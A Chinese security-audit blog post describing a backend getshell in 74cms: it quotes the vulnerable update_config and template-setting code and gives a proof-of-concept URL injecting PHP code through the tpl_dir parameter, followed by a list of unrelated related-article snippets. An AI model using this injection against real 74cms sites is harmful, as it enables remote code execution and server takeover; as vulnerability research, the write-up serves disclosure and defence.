前言

没有getshell的审计都是耍流氓。

今天突然灵光闪现,重新看了下74cms,终于拿下了。

正文

在Application/Common/Controller/BackendController.class.php

有这么一段可怕的代码

public function update_config($new_config, $config_file = '') {

!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';

if (is_writable($config_file)) {

$config = require $config_file;

$config = array_merge($config, $new_config);

file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);

@unlink(RUNTIME_FILE);

return true;

} else {

return false;

}

}

配置文件用return返回var_export,应该是(如果有能绕过,求打脸)挺安全的,所以之前看走眼了。

这里有stripslashes!

全局搜一下 找到

/Application/Admin/Controller/TplController.class.php

public function set(){

$tpl_dir = I('request.tpl_dir','','trim');

$templates_info=$this->_get_templates_info($this->tpl_dir.$tpl_dir."/info.txt");

D('Config')->where(array('name'=>'template_dir'))->setField('value',$tpl_dir);

if(C('qscms_template_dir') != $tpl_dir) D('AdCategory')->ads_init($tpl_dir);

$this->admin_write_log_unify();

$this->update_config(array('DEFAULT_THEME'=>$tpl_dir));

$this->success('设置成功!');

}

poc

用之前的方法登录后台,然后访问

/74cms/index.php?m=Admin&c=Tpl&a=set&tpl_dir=a%27.${phpinfo()}.%27

元宵快乐!

74cms php在那个文件夹里面,74cms后台getshell相关推荐

  1. 纯前端实现上传图片到本地或服务器,并根据时间创建文件夹,无需后台

    1.我们平时接触到的接口都是后台需要你给他传递几个参数,你就把参数对应的值 给他们就行了 $.ajax({type: "get",url: URl,dataType: " ...

  2. ecshop根目录调用_ECSHOP各文件夹功能说明

    ECSHOP 各文件夹功能说明 1 .根目录:前台程序文件 2 . admin :后台程序文件夹 -- 根目录:后台程序文件 *.php 文件 --help\zh_cn :各功能的帮助文件 *.xml ...

  3. dedecms5.7添加栏目时以简拼作目录名 以拼音首字母作文件夹名称

    今天分享DedeCMS添加栏目的一个小技巧,添加栏目以简拼作目录名,以拼音首字母作文件夹名称,默认情况情况下,DedeCMS添加栏目时是以全拼作为文件夹名称,后台也没有提公简拼的选项,但是我们可以通过 ...

  4. 织梦cms java_织梦CMS文件夹目录解释(完整版)

    include/:里面包含了系统运行所需要的类库文件 data/: admin:网站后台管理的一些必要配置 backupdata:默认的系统数据库备份目录 cache :缓存目录(这个缓存是栏目缓存等 ...

  5. Ubuntu系统查看文件夹目录

    方法1 进入文件夹里面我们可以使用 按下Ctrl + L 可以看到文件的路径了 然后复制即可 方法2 可以鼠标右键点击最下面的属性 然后复制位置里面的路径即可

  6. AndroidStudio 新建不同的Drawable文件夹

    以前习惯eclipse开发Android的朋友们知道 新创建一个Android项目的时候eclipse会自动生成多个drawable文件夹来存放图片 但是Android Studio 新建项目的时候只 ...

  7. 简介SharePoint 2010 14 Hive文件夹

    版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/u012025054/article/details/36018873 简介SharePoint 20 ...

  8. 批量新建文件夹并命名_dos命令实现批量新建文件夹

    1.批量新建文件夹(使用命令:MD) 实现案例:假如我们要新建10个文件夹,这10个文件夹的名称分别是数字1-10来命名. 以下详细步骤: 1)在excel表里面把需要批量新建的文件夹名字放到一列(假 ...

  9. 用Python在Windows或Linux下批量删除文件夹中指定的文件

    情况说明:当在一个文件夹下面有好几十个或几百个文件需要删除,此时一一去挑选费时费力,特别是在Linux下面.因此,需要批量删除文件. 对训练样本(图像)和测试样本(图像)进行评估时候,需要查看是数据本 ...

  10. shell访问php文件夹,Shell获取某目录下所有文件夹的名称

    Shell获取某目录下所有文件夹的名称以下文字资料是由(历史新知网www.lishixinzhi.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧! Shell获取某目录下所有文件夹的 ...

最新文章

  1. Linux 配置nfs
  2. php 信号量 关闭,PHP信号量基本用法实例详解
  3. 另一种绕过 Android P以上非公开API限制的办法
  4. Python这些操作,逆天且实用!
  5. json最大长度限制_api接口返回动态的json格式?我太难了,尝试一下 linq to json
  6. python3 django开发_python3开发进阶-Django框架学习前的小项目(一个简单的学员管理系统)...
  7. 我的B端产品经理工作流
  8. 舍弃高通?谷歌推 Tensor 自研芯片
  9. python语言的主网址-Python简介
  10. mybatis框架增删改的注意事项 ,不同数据库取消转义的方法
  11. 巨详细的iphone新手教程
  12. 用华秋DFM处理Allegro PCB文件
  13. Houdini 笔记2
  14. 纠错码专题——线性分组码(1)
  15. 手机云台——灵眸Osmo Mobile 2
  16. 来自MyBatis不一样收获结果的探索之旅
  17. error: cannot lock ref 'refs/remotes/origin/master': unable to resolve reference 'refs/remotes/origi
  18. 《算法竞赛中的初等数论》(一)正文 0x00整除、0x10 整除相关(ACM / OI / MO)(十五万字符数论书)
  19. 微信小程序富文本标签 rich-text 图片自适应大小问题
  20. 有这样一个可爱的菇凉,叫TokenClub!

热门文章

  1. C# 中文简体中文繁体转换_ChineseConverter
  2. 正十二面体二面角的一种求法
  3. Gis系统中常见的格式
  4. 前端使用canvas拼接多张图片
  5. layabox 学习笔记
  6. OA软件办公用品分类设置,实现办公用品分类透明化
  7. Amaze UI 图标查询
  8. css黄金色渐变值,ps金色(ps金色渐变数值)
  9. Java项目:企业固定资产管理系统(java+SpringBoot+VUE+maven+mysql)
  10. 深 入 认 识 WIN95 注 册 表